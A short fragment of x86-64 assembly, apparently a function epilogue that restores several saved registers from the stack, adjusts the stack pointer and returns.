mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret